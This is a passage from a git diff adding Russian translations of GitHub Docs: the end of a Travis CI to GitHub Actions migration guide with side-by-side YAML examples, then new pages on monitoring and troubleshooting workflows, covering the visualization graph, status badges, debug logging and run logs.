действия по настройке и очистке задания, можно определить шаги для выполнения этих действий в каждом задании. + +## Ключевые сходства + +{% data variables.product.prodname_actions %} и Travis CI имеют определенные сходства, и если вы будете понимать их заранее, это поможет сделать процесс миграции более гладким. + +### Использование синтаксиса YAML + +В Travis CI и {% data variables.product.prodname_actions %} используется YAML для создания заданий и рабочих процессов, и эти файлы хранятся в репозитории кода. Дополнительные сведения о том, как {% data variables.product.prodname_actions %} использует YAML, см. в разделе [Создание файла рабочего процесса](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow). + +### Пользовательские переменные среды + +Travis CI позволяет задавать переменные среды и совместно использовать их между этапами. Аналогично, {% data variables.product.prodname_actions %} позволяет определять переменные среды для шага, задания или рабочего процесса. Дополнительные сведения см. в разделе [Переменные среды](/actions/reference/environment-variables). + +### Переменные среды по умолчанию + +В Travis CI и {% data variables.product.prodname_actions %} имеются переменные среды по умолчанию, которые можно использовать в файлах YAML. Для {% data variables.product.prodname_actions %} эти переменные перечислены в разделе [Переменные среды по умолчанию](/actions/reference/environment-variables#default-environment-variables). + +### Обработка параллельных заданий + +Travis CI может использовать `stages` для параллельного выполнения заданий. Аналогично, {% data variables.product.prodname_actions %} выполняет `jobs` параллельно. Дополнительные сведения см. в разделе [Создание зависимых заданий](/actions/learn-github-actions/managing-complex-workflows#creating-dependent-jobs). + +### Значки состояния + +Travis CI и {% data variables.product.prodname_actions %} поддерживают индикаторы состояний, которые позволяют указать, выполняется ли сборка успешно или произошел сбой. +Дополнительные сведения см. в разделе [Добавление индикатора состояния рабочего процесса](/actions/managing-workflow-runs/adding-a-workflow-status-badge). + +### Использование матрицы + +Travis CI и {% data variables.product.prodname_actions %} поддерживают матрицу, что позволяет выполнять тестирование, используя сочетания операционных систем и программных пакетов. Дополнительные сведения см. в разделе [Использование матрицы для заданий](/actions/using-jobs/using-a-matrix-for-your-jobs). + +Ниже приведен пример сравнения синтаксиса для каждой системы. + + + + + + + + + + +
+Travis CI + +{% data variables.product.prodname_actions %} +
+{% raw %} +```yaml +matrix: + include: + - rvm: 2.5 + - rvm: 2.6.3 +``` +{% endraw %} + +{% raw %} +```yaml +jobs: + build: + strategy: + matrix: + ruby: [2.5, 2.6.3] +``` +{% endraw %} +
+ +### Нацеливание на конкретные ветви + +Travis CI и {% data variables.product.prodname_actions %} позволяют нацеливать CI на определенную ветвь. Дополнительные сведения см. в статье "[Синтаксис рабочего процесса для GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#onpushbranchestagsbranches-ignoretags-ignore)". + +Ниже приведен пример синтаксиса для каждой системы. + + + + + + + + + + +
+Travis CI + +{% data variables.product.prodname_actions %} +
+{% raw %} +```yaml +branches: + only: + - main + - 'mona/octocat' +``` +{% endraw %} + +{% raw %} +```yaml +on: + push: + branches: + - main + - 'mona/octocat' +``` +{% endraw %} +
+ +### Проверка подмодулей + +Travis CI и {% data variables.product.prodname_actions %} позволяют контролировать, включены ли подмодули в клон репозитория. + +Ниже приведен пример синтаксиса для каждой системы. + + + + + + + + + + +
+Travis CI + +{% data variables.product.prodname_actions %} +
+{% raw %} +```yaml +git: + submodules: false +``` +{% endraw %} + + +```yaml +- uses: {% data reusables.actions.action-checkout %} + with: + submodules: false +``` + +
+ +### Использование переменных среды в матрице + +Travis CI и {% data variables.product.prodname_actions %} могут добавлять пользовательские переменные среды в матрицу тестирования, что позволяет ссылаться на эту переменную на последующем шаге. + +В {% data variables.product.prodname_actions %} вы можете использовать ключ `include` для добавления пользовательских переменных среды в матрицу. {% data reusables.actions.matrix-variable-example %} + +## Основные возможности в {% data variables.product.prodname_actions %} + +При миграции из Travis CI учитывайте следующие основные возможности в {% data variables.product.prodname_actions %}: + +### Хранение секретов + +{% data variables.product.prodname_actions %} позволяет сохранять секреты и ссылаться на них в заданиях. Организации {% data variables.product.prodname_actions %} могут ограничивать репозиториям доступ к секретам организации. Правила защиты среды могут требовать, чтобы доступ рабочего процесса к секретам среды утверждался вручную. Дополнительные сведения см. в статье [Зашифрованные секреты](/actions/reference/encrypted-secrets). + +### Совместное использование файлов в заданиях и рабочих процессах + +{% data variables.product.prodname_actions %} включает встроенную поддержку хранилища артефактов, что позволяет обмениваться файлами между заданиями в рабочем процессе. Вы также можете сохранять итоговые файлы и предоставлять другим рабочим процессам общий доступ к этим файлам. Дополнительные сведения см. в разделе [Совместное использование данных в заданиях](/actions/learn-github-actions/essential-features-of-github-actions#sharing-data-between-jobs). + +### Размещение собственных средств выполнения + +Если для ваших заданий требуется определенное оборудование или программное обеспечение, {% data variables.product.prodname_actions %} позволяет размещать собственные средства выполнения и отправлять в них задания для обработки. {% data variables.product.prodname_actions %} также позволяет использовать политики для управления доступом к этим средствам выполнения, чтобы предоставлять доступ на уровне организации или репозитория. Дополнительные сведения см. в разделе [Размещение собственных средств выполнения](/actions/hosting-your-own-runners). + +{% ifversion fpt or ghec %} + +### Параллельные задания и время выполнения + +Время выполнения параллельных заданий и рабочих процессов в {% data variables.product.prodname_actions %} может отличаться в зависимости от плана {% data variables.product.company_short %}. Дополнительные сведения см. в разделе [Ограничения использования, выставление счетов и администрирование](/actions/reference/usage-limits-billing-and-administration). + +{% endif %} + +### Использование различных языков в {% data variables.product.prodname_actions %} + +При работе с разными языками в {% data variables.product.prodname_actions %} вы можете создать в задании шаг для настройки зависимостей языка. Дополнительные сведения о работе с определенным языком см. в соответствующем руководстве: + - [Создание и тестирование для Node.js](/actions/guides/building-and-testing-nodejs) + - [Создание и тестирование для Python](/actions/guides/building-and-testing-python) + - [Сборка и тестирование в PowerShell](/actions/guides/building-and-testing-powershell) + - [Сборка и тестирование в Java с помощью Maven](/actions/guides/building-and-testing-java-with-maven) + - [Сборка и тестирование в Java с помощью Gradle](/actions/guides/building-and-testing-java-with-gradle) + - [Сборка и тестирование в Java с помощью Ant](/actions/guides/building-and-testing-java-with-ant) + +## Выполнение скриптов + +{% data variables.product.prodname_actions %} может использовать шаги `run` для выполнения скриптов или команд оболочки. Чтобы использовать определенную оболочку, можно задать тип `shell` при указании пути к скрипту. Дополнительные сведения см. в статье [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun). + +Пример: + +```yaml +steps: + - name: Run build script + run: ./.github/scripts/build.sh + shell: bash +``` + +## Обработка ошибок в {% data variables.product.prodname_actions %} + +При миграции на {% data variables.product.prodname_actions %} существуют разные подходы к обработке ошибок, о которых вам следует знать. + +### Обработка ошибок скрипта + +{% data variables.product.prodname_actions %} немедленно останавливает задание, если один из шагов возвращает код ошибки. Дополнительные сведения см. в статье [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#exit-codes-and-error-action-preference). + +### Обработка ошибок задания + +{% data variables.product.prodname_actions %} использует условные конструкции `if` для выполнения заданий или шагов в определенных ситуациях. Например, вы можете запустить выполнение некоторого шага, когда другой шаг приводит к `failure()`. Дополнительные сведения см. в статье [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#example-using-status-check-functions). Вы также можете использовать [`continue-on-error`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontinue-on-error) для предотвращения остановки выполнения рабочего процесса при сбое задания. + +## Синтаксис миграции для условных конструкций и выражений + +Для запуска заданий с условными выражениями Travis CI и {% data variables.product.prodname_actions %} используют аналогичный синтаксис условий `if`. {% data variables.product.prodname_actions %} позволяет использовать условную конструкцию `if` для предотвращения выполнения задания или шага, если условие не выполняется. Дополнительные сведения см. в разделе [Выражения](/actions/learn-github-actions/expressions). + +В этом примере показано, как условная конструкция `if` может управлять выполнением шага: + +```yaml +jobs: + conditional: + runs-on: ubuntu-latest + steps: + - run: echo "This step runs with str equals 'ABC' and num equals 123" + if: env.str == 'ABC' && env.num == 123 +``` + +## Этапы миграции и шаги + +В то время как Travis CI использует _этапы_ для выполнения _шагов_, в {% data variables.product.prodname_actions %} существуют _шаги_, которые выполняют _действия_. Вы можете найти предварительно созданные действия в [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?type=actions)или создать собственные действия. Дополнительные сведения см. в разделе [Создание действий](/actions/building-actions). + +Ниже приведен пример синтаксиса для каждой системы. + + + + + + + + + + +
+Travis CI + +{% data variables.product.prodname_actions %} +
+{% raw %} +```yaml +language: python +python: + - "3.7" + +скрипт: + - python script.py +``` +{% endraw %} + + +```yaml +jobs: + run_python: + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-setup-python %} + with: + python-version: '3.7' + architecture: 'x64' + - run: python script.py +``` + +
+ +## Кэширование зависимостей + +Travis CI и {% data variables.product.prodname_actions %} позволяют вручную кэшировать зависимости для последующего повторного использования. + +{% ifversion actions-caching %} + +В этом примере демонстрируется синтаксис кэша для каждой системы. + + + + + + + + + + +
+Travis CI + +Действия GitHub +
+{% raw %} +```yaml +language: node_js +cache: npm +``` +{% endraw %} + + +```yaml +- name: Cache node modules + uses: {% data reusables.actions.action-cache %} + with: + path: ~/.npm + key: {% raw %}v1-npm-deps-${{ hashFiles('**/package-lock.json') }}{% endraw %} + restore-keys: v1-npm-deps- +``` + +
+ +{% else %} + +{% data reusables.actions.caching-availability %} + +{% endif %} + +## Примеры распространенных задач + +В этом разделе сравнивается, как {% data variables.product.prodname_actions %} и Travis CI выполняют распространенные задачи. + +### Настройка переменных среды + +Вы можете создавать пользовательские переменные среды в задании {% data variables.product.prodname_actions %}. Пример: + + + + + + + + + + +
+Travis CI + +Рабочий процесс {% data variables.product.prodname_actions %} +
+ +```yaml +env: + - MAVEN_PATH="/usr/local/maven" +``` + + + +```yaml +jobs: + maven-build: + env: + MAVEN_PATH: '/usr/local/maven' +``` + +
+ +### Сборка с помощью Node.js + + + + + + + + + + +
+Travis CI + +Рабочий процесс {% data variables.product.prodname_actions %} +
+{% raw %} +```yaml +install: + - npm install +script: + - npm run build + - npm test +``` +{% endraw %} + + +```yaml +name: Node.js CI +on: [push] +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: {% data reusables.actions.action-checkout %} + - name: Use Node.js + uses: {% data reusables.actions.action-setup-node %} + with: + node-version: '12.x' + - run: npm install + - run: npm run build + - run: npm test +``` + +
+ +## Дальнейшие действия + +Чтобы продолжить изучение основных возможностей {% data variables.product.prodname_actions %}, перейдите к разделу [Основные возможности {% data variables.product.prodname_actions %}](/actions/learn-github-actions). diff --git a/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md b/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md new file mode 100644 index 000000000000..048d7231f9e3 --- /dev/null +++ b/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting.md @@ -0,0 +1,79 @@ +--- +title: Сведения о мониторинге и устранении неполадок +intro: 'Вы можете использовать средства в {% data variables.product.prodname_actions %} для мониторинга и отладки рабочих процессов.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +shortTitle: About monitoring and troubleshooting +miniTocMaxHeadingLevel: 3 +ms.openlocfilehash: d9158cd9bba6d003a583e78459240aa6790a1154 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147062045' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +## Мониторинг рабочих процессов + +{% ifversion github-runner-dashboard %} +### Мониторинг текущих заданий в организации или предприятии + +{% data reusables.actions.github-hosted-runners-check-concurrency %} + +{% endif %} + +### Использование графа визуализации + +Во время каждого выполнения рабочего процесса создается граф в режиме реального времени, иллюстрирующий ход выполнения. Этот граф можно использовать для рабочих процессов мониторинга и отладки. Пример: + + ![Граф рабочего процесса](/assets/images/help/images/workflow-graph.png) + +Дополнительные сведения см. в разделе [Использование графа визуализации](/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph). + +### Добавление эмблемы состояния рабочего процесса + +{% data reusables.repositories.actions-workflow-status-badge-intro %} + +Дополнительные сведения см. в разделе [Добавление индикатора состояния рабочего процесса](/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge). + +{% ifversion fpt or ghec %} +### Просмотр времени выполнения задания + +Чтобы определить, сколько времени заняло выполнение задания, можно просмотреть его время выполнения. Пример: + + ![Ссылка на сведения о времени запуска и времени для выставления счетов](/assets/images/help/repository/view-run-billable-time.png) + +Дополнительные сведения см. в разделе [Просмотр времени выполнения задания](/actions/monitoring-and-troubleshooting-workflows/viewing-job-execution-time). +{% endif %} + +### Просмотр журнала выполнения рабочего процесса + +Вы можете просмотреть состояние каждого задания и шага в рабочем процессе. Пример: + + ![Имя запуска рабочего процесса](/assets/images/help/repository/run-name.png) + +Дополнительные сведения см. в статье "[Просмотр журнала выполнения рабочего процесса](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history)". + +## Устранение неполадок рабочих процессов + +### Использование журналов выполнения рабочих процессов + +Каждый запуск рабочего процесса создает журналы действий, которые можно просматривать, скачивать, а также выполнять по ним поиск. Пример: + + ![Результаты рабочего процесса Super Linter](/assets/images/help/repository/super-linter-workflow-results-updated-2.png) + +Дополнительные сведения см. в разделе «[Использование журналов выполнения рабочего процесса](/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs)». + +### Включение ведения журналов отладки + +Если журналы рабочих процессов не предоставляют достаточно сведений для диагностики причин несоответствующего выполнения рабочего процесса, задания или шага, можно дополнительно включить ведение журнала отладки. Дополнительные сведения см. в разделе [Включение ведения журнала отладки](/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging). + +## Мониторинг и устранение неполадок в самостоятельно размещенных средствах выполнения + +При использовании локальных средств выполнения вы можете просматривать их действия и диагностировать распространенные проблемы. + +Дополнительные сведения см. в разделе [Мониторинг и устранение неполадок в работе средств выполнения тестов локального размещения](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners). diff --git a/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md b/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md new file mode 100644 index 000000000000..42d12d6fb457 --- /dev/null +++ b/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/adding-a-workflow-status-badge.md @@ -0,0 +1,66 @@ +--- +title: Добавление эмблемы состояния рабочего процесса +shortTitle: Add a status badge +intro: 'В репозитории можно отобразить эмблему состояния, чтобы обозначать состояние рабочих процессов.' +redirect_from: + - /actions/managing-workflow-runs/adding-a-workflow-status-badge +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 3c6fafea5be53c49e464cb65d0db3773873a843f +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010028' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +{% note %} + +**Примечание.** Индикаторы рабочих процессов в частном репозитории недоступны извне, поэтому вы не сможете внедрить их или указать ссылку на них с внешнего сайта. + +{% endnote %} + +{% data reusables.repositories.actions-workflow-status-badge-intro %} + + +Чтобы добавить индикатор состояния рабочего процесса в файл `README.md`, сначала найдите URL-адрес индикатора состояния, который нужно отобразить. После этого вы можете использовать Markdown для отображения индикатора в виде изображения в файле `README.md`. Дополнительные сведения о разметке изображения в Markdown см. в статье [Базовый синтаксис записи и форматирования](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#images). + +## Использование имени файла рабочего процесса + +Вы можете создать URL-адрес для индикатора состояния рабочего процесса, используя имя файла рабочего процесса: + +``` +{% ifversion fpt or ghec %}https://github.com{% else %}{% endif %}///actions/workflows//badge.svg +``` + +Чтобы отобразить индикатор состояния рабочего процесса в файле `README.md`, используйте разметку Markdown для внедрения изображений. Дополнительные сведения о разметке изображения в Markdown см. в статье [Базовый синтаксис записи и форматирования](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/basic-writing-and-formatting-syntax#images). + +Например, вставьте приведенный ниже код Markdown в файл `README.md`, чтобы добавить индикатор состояния для рабочего процесса с путем к файлу `.github/workflows/main.yml`. Владелец (`OWNER`) репозитория — организация `github`, а имя `REPOSITORY` — `docs`. + +```markdown +![example workflow](https://github.com/github/docs/actions/workflows/main.yml/badge.svg) +``` + +## Использование параметра `branch` + +Чтобы отобразить состояние выполнения рабочего процесса для определенной ветви, добавьте `?branch=` в конец URL-адреса индикатора состояния. + +Например, вставьте приведенный ниже код Markdown в файл `README.md`, чтобы добавить индикатор состояния для ветви с именем `feature-1`. + +```markdown +![example branch parameter](https://github.com/github/docs/actions/workflows/main.yml/badge.svg?branch=feature-1) +``` + +## Использование параметра `event` + +Чтобы отобразить состояние выполнения рабочего процесса, активированного событием `push`, добавьте `?event=push` в конец URL-адреса индикатора состояния. + +Например, добавьте следующий код Markdown в файл `README.md`, чтобы отобразить индикатор с состоянием выполнения рабочего процесса, активированного событием `push`. В результате отобразится состояние сборки для текущего состояния этой ветви. + +```markdown +![example event parameter](https://github.com/github/docs/actions/workflows/main.yml/badge.svg?event=push) +``` diff --git a/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md b/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md new file mode 100644 index 000000000000..79ee124eed17 --- /dev/null +++ b/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/enabling-debug-logging.md @@ -0,0 +1,53 @@ +--- +title: Включение ведения журналов отладки +shortTitle: Enable debug logging +intro: 'Если журналы рабочих процессов не предоставляют достаточно сведений для диагностики причин несоответствующего выполнения рабочего процесса, задания или шага, можно дополнительно включить ведение журнала отладки.' +redirect_from: + - /actions/managing-workflow-runs/enabling-debug-logging +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 4d991aa5166c57aec47f98a59b41b78ece5b7254 +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148009984' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +Эти дополнительные журналы включаются путем настройки секретов в репозитории, содержащем рабочий процесс, поэтому будут применяться те же требования к разрешениям: + +- {% data reusables.actions.permissions-statement-secrets-repository %} +- {% data reusables.actions.permissions-statement-secrets-environment %} +- {% data reusables.actions.permissions-statement-secrets-organization %} +- {% data reusables.actions.permissions-statement-secrets-api %} + +Дополнительные сведения о настройке секретов см. в разделе [Создание и использование зашифрованных секретов](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets). + +{% ifversion debug-reruns %} + +Кроме того, любой пользователь, имеющий доступ к запуску рабочего процесса, может включить ведение журнала диагностики средства выполнения тестов и ведение журнала пошаговой отладки для повторного запуска рабочего процесса. Дополнительные сведения см. в статье [Повторный запуск рабочих процессов и заданий](/actions/managing-workflow-runs/re-running-workflows-and-jobs). + + {% endif %} + +## Включение ведения журнала диагностики средства выполнения + +Ведение журнала диагностики средства выполнения предоставляет дополнительные файлы журнала, содержащие сведения о том, как средство выполнения выполняет задание. В архив журнала добавляются два дополнительных файла журнала: + +* Журнал процессов средства выполнения, который содержит сведения о координации и настройке средства для выполнения заданий. +* Журнал рабочих процессов, который регистрирует выполнение задания. + +1. Чтобы включить ведение журнала диагностики средства выполнения, задайте секрету `ACTIONS_RUNNER_DEBUG` в репозитории, содержащем рабочий процесс, значение `true`. + +1. Чтобы скачать журналы диагностики средства выполнения, скачайте архив журналов выполнения рабочего процесса. Журналы диагностики средства выполнения содержатся в папке `runner-diagnostic-logs`. Дополнительные сведения о скачивании журналов см. в разделе [Скачивание журналов](/actions/managing-workflow-runs/using-workflow-run-logs/#downloading-logs). + +## Включение ведения журнала отладки шагов + +Ведение журнала отладки шагов повышает уровень детализации журналов задания во время и после выполнения задания. + +1. Чтобы включить ведение журнала отладки шагов, задайте для секрета `ACTIONS_STEP_DEBUG` в репозитории, содержащем рабочий процесс, значение `true`. + +1. После настройки секрета в журналах шагов отображаются дополнительные события отладки. Дополнительные сведения см. в разделе [Просмотр журналов для диагностики сбоев](/actions/managing-workflow-runs/using-workflow-run-logs/#viewing-logs-to-diagnose-failures). diff --git a/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/index.md b/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/index.md new file mode 100644 index 000000000000..75ecd5d40567 --- /dev/null +++ b/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/index.md @@ -0,0 +1,29 @@ +--- +title: Мониторинг и устранение неполадок рабочих процессов +shortTitle: Monitor & troubleshoot +intro: 'Вы можете просматривать состояние и результаты каждого шага рабочего процесса, выполнять отладку при сбое рабочего процесса, выполнять поиск и загрузку журналов, а также просматривать оплачиваемые минуты выполнения задания.' +redirect_from: + - /articles/viewing-your-repository-s-workflows + - /articles/viewing-your-repositorys-workflows +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +children: + - /about-monitoring-and-troubleshooting + - /using-the-visualization-graph + - /adding-a-workflow-status-badge + - /viewing-workflow-run-history + - /viewing-job-execution-time + - /using-workflow-run-logs + - /enabling-debug-logging + - /notifications-for-workflow-runs +ms.openlocfilehash: 47134b99ae01a9f7b946048b4bb096b0d45578b3 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145121256' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} diff --git a/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md b/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md new file mode 100644 index 000000000000..d13c867f62d6 --- /dev/null +++ b/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/notifications-for-workflow-runs.md @@ -0,0 +1,19 @@ +--- +title: Уведомления о выполнении рабочих процессов +shortTitle: Notifications for workflow runs +intro: 'Вы можете подписаться на уведомления о запусках рабочих процессов, которые вы активируете.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: 12f419facbe3e44ff4c16abbb696d30259aae97f +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010091' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +{% data reusables.repositories.workflow-notifications %} diff --git a/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md b/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md new file mode 100644 index 000000000000..8b7df8bcc847 --- /dev/null +++ b/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/using-the-visualization-graph.md @@ -0,0 +1,27 @@ +--- +title: Использование графа визуализации +shortTitle: Visualization graph +intro: 'Во время каждого выполнения рабочего процесса создается граф в режиме реального времени, иллюстрирующий ход выполнения. Этот граф можно использовать для рабочих процессов мониторинга и отладки.' +redirect_from: + - /actions/managing-workflow-runs/using-the-visualization-graph +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: fcd1008666dd9b9e67862bddcdd5bf5800fccbdc +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148009976' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} + +1. Граф отображает каждое задание в рабочем процессе. Значок слева от имени задания указывает состояние задания. Линии между заданиями указывают на зависимости. + ![Граф рабочего процесса](/assets/images/help/images/workflow-graph.png) + +2. Щелкните задание, чтобы просмотреть журнал заданий. + ![Граф рабочего процесса](/assets/images/help/images/workflow-graph-job.png) diff --git a/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md b/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md new file mode 100644 index 000000000000..d0c19430d7d4 --- /dev/null +++ b/translations/ru-RU/content/actions/monitoring-and-troubleshooting-workflows/using-workflow-run-logs.md @@ -0,0 +1,108 @@ +--- +title: Использование журналов выполнения рабочих процессов +shortTitle: Workflow run logs +intro: 'Вы можете просматривать, искать и скачивать журналы для каждого задания в выполнении рабочего процесса.' +redirect_from: + - /actions/managing-workflow-runs/using-workflow-run-logs +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +ms.openlocfilehash: d0e5aadc46cbd89895abe51f83f15fd10708b09e +ms.sourcegitcommit: 7b86410fc3bc9fecf0cb71dda4c7d2f0da745b85 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/05/2022 +ms.locfileid: '148010035' +--- +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} + +На странице выполнения рабочего процесса можно посмотреть состояние рабочего процесса, выполняется он или завершен. Для просмотра сведений о выполнении рабочего процесса, включая общедоступные репозитории, необходимо войти в учетную запись {% data variables.product.prodname_dotcom %}. Дополнительные сведения см. в разделе [Права доступа к GitHub](/articles/access-permissions-on-github). + +Если выполнение завершилось, вы можете узнать, был ли результат успешным, неудачным, отмененным или нейтральным. Если выполнение завершилось неудачно, можно просмотреть журналы сборки и выполнить по ним поиск, чтобы диагностировать сбой и повторно запустить рабочий процесс. Вы также можете просматривать оплачиваемые минуты выполнения задания, а также скачивать журналы и артефакты сборки. + +{% data variables.product.prodname_actions %} использует API проверок для вывода состояний, результатов и журналов рабочего процесса. {% data variables.product.prodname_dotcom %} создает новый набор проверок для каждого запуска рабочего процесса. Набор проверок содержит контрольный прогон для каждого задания в рабочем процессе, и каждое задание включает шаги. {% data variables.product.prodname_actions %} выполняются как шаг в рабочем процессе. Дополнительные сведения об API проверок см. в разделе [Проверки](/rest/reference/checks). + +{% data reusables.actions.invalid-workflow-files %} + +## Просмотр журналов для диагностики сбоев + +Если выполнение рабочего процесса завершается неудачно, вы можете увидеть, какой шаг вызвал сбой, и проверить журналы сборки неудачного шага, чтобы устранить неполадки. Вы можете увидеть время, необходимое для выполнения каждого шага. Вы также можете скопировать постоянную ссылку на определенную строку в файле журнала, чтобы поделиться со своей командой. {% data reusables.repositories.permissions-statement-read %} + +Помимо шагов, настроенных в файле рабочего процесса, {% data variables.product.prodname_dotcom %} добавляет в каждое задание два дополнительных шага для настройки и завершения выполнения задания. Эти шаги регистрируются в рабочем процессе с именами "Настройка задания" и "Завершение задания". + +Для заданий, выполняемых в средствах выполнения, размещенных в {% data variables.product.prodname_dotcom %}, шаг "Настройка задания" записывает сведения об образе средства выполнения и включает ссылку на список предустановленных средств, которые имелись на компьютере средства выполнения. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} {% data reusables.repositories.navigate-to-job %} {% data reusables.repositories.view-failed-job-results %} {% data reusables.repositories.view-specific-line %} + +## Поиск по журналам + +Вы можете выполнять поиск определенного шага в журналах сборки. При поиске в журналах в результаты включаются только развернутые шаги. {% data reusables.repositories.permissions-statement-read %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} {% data reusables.repositories.navigate-to-job %} +1. В правом верхнем углу выходных данных журнала в поле **поиска по журналам** введите поисковый запрос. +![Поле поиска по журналам](/assets/images/help/repository/search-log-box-updated-2.png) + +## Скачивание журналов + +Вы можете скачивать файлы журналов из запуска рабочего процесса. Вы также можете скачать артефакты рабочего процесса. Дополнительные сведения см. в разделе [Сохранение данных рабочего процесса с помощью артефактов](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts). {% data reusables.repositories.permissions-statement-read %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} {% data reusables.repositories.navigate-to-job %} +1. В правом верхнем углу щелкните {% octicon "gear" aria-label="The gear icon" %} и выберите **Скачать архив журналов**. + + ![Раскрывающееся меню скачивания журналов](/assets/images/help/repository/download-logs-drop-down-updated-2.png) + + + {% ifversion re-run-jobs %} + + {% note %} + + **Примечание.** При скачивании архива журналов для рабочего процесса, который был частично выполнен повторно, архив включает только задания, которые были повторно запущены. Чтобы получить полный набор журналов для заданий, который выполнялись из рабочего процесса, необходимо скачать архивы журналов для предыдущих попыток запуска, в которых выполнялись другие задания. + + {% endnote %} + + {% endif %} + +## Удаление журналов + +Вы можете удалять файлы журналов из запуска рабочего процесса. {% data reusables.repositories.permissions-statement-write %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} +1. В правом верхнем углу заметок щелкните {% octicon "kebab-horizontal" 